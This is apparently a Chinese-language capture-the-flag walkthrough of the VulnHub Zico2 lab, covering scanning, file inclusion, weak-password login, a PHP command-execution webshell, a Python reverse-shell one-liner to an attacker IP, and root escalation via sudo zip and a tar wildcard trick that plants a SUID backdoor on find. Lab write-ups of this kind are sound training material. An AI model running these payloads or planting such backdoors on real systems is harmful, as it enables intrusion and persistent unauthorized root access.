vulnhub-zico2通关教程
不解释了这台靶机非常的简单,我们发现靶机为161。
nmap 192.168.135.0/24 -sP

我们发现开放22/80/111
nmap 192.168.135.161

我们做全端口扫描
nmap 192.168.135.161 -p- -A

下载Linux64位xray

生成ca证书
./xray_linux_amd64 genca

浏览器导入CA证书,并在foxyproxy设置代理让流量走xray


这里我们发现直接运行xray
./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html



如果生成的文件浏览器访问打不开,说明是权限问题,查看发现root:root,必须为kali:kail
chown kali:kali proxy.html





XRAY的魅力出现了。直接有现成的payload使用,不过这里还是要手工测试一下,毕竟我们平时用不了那么多上级目录。。。

成功读取用户信息/etc/passwd


我们扫到数据库的登录框。
Dirb http://192.168.135.161


这里直接弱口令admin直接登录成功啊。。哈哈登录进去才发现上次打来留下yang表连接shell


我们在create new database处创建一个yang,name1/number1 go
进来后fleld1/type text default value 写GET方式的命令执行木马
"<?php echo system($_GET["cmd"]); ?>"

访问database的目录,按照命令执行的规则运行想要运行的命令发现成功出现
既然命令执行成功了,我们直接反弹一个shell回来
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.135.155",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


此时的shell完整了但是还不稳定,根据提示我们还没有设置环境变量,那么多次打靶了,我们轻车熟路>_<
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
Stty raw -echo; fg
Export TERM=xterm-256color


这里我们来到shell时应该使用脚本linpeas.sh来枚举信息,但是如果你没有就直接简单的手工枚举提权途径。我们看到内核可以利用,sudo用不了,mysql只支持本地运行访问,而且不是root权限运行,udf也走不了。。。其实我们还可以找SUID位,但是图太大懒得截图了。。。
Uname -a
Sudo -V
Sudo -l
Ps -aux | grep mysql
Ss -plunt | grep 3306
还可以试试SUID
Find / -perm -4000 2>/dev/null

好像能截完>_<

看见没,这里我们也可以肉眼识别指纹CMS哈哈哈,wordpress也是老演员了,我们看看有没有config.php泄露密码直接登录zico

哎,这样的话那就简单了
Cat wp-config.php
Zico/sWfCsfJSPV9H3AmQzw8

这里我直接搞稳定shell了
Stty raw -echo; fg
Export TERM=xterm-256color
不对,获得的就是稳定shell了,没事再敲一遍命令罢了。。。

这里我推荐用sudo提权啊,毕竟我看别人的帖子说exp容易崩溃。。。

这里我直接用创建一个临时文件名,存到变量 TF,用 root 身份,把/etc/hosts压缩到临时压缩包
-T:zip 参数,测试压缩包完整性
-TT 'sh #':-TT 用来指定测试时执行的外部命令
zip 在校验压缩包的时候,会执行你给的sh
因为前面加了sudo,这条sh就是root 权限
# 是 shell 注释,把 zip 后面多余的参数注释掉,避免报错
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'


这里我们发现find没有设置suid我们可以留个后门,两种方式提权。tar 的--checkpoint-action可以以 root 身份执行任意命令。
用 tar 执行脚本,给 /usr/bin/find 加上SUID位u+s
SUID 程序执行时,进程身份自动变成文件所有者root
之后普通用户直接跑 find -exec sh,直接拿root shell
cd /tmp
echo "chmod u+s /usr/bin/find" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
sudo tar cf archive.tar *
创建完成确认find命令是否成功被赋予setuid权限:
find / -perm -4000 2>/dev/null | grep find
执行find命令开始提权
find /tmp -exec sh -i \;

这台靶机很简单啊。我们利用xray发现了有文件包含漏洞,我们发现数据库我们写入一句话木马执行命令,得到了网站的shell,我们发现下面存在zico用户,我们利用wordpress的特性,再wp-config.php找到的zico的账号密码,登录了他的shell。我们发现zico可以执行sudo zip提权。利用sudozip获得反弹shell拿到root。我们也可以利用tar来留个后门,这样每次登录zico都可以利用find获得root权限shell。
浙公网安备 33010602011771号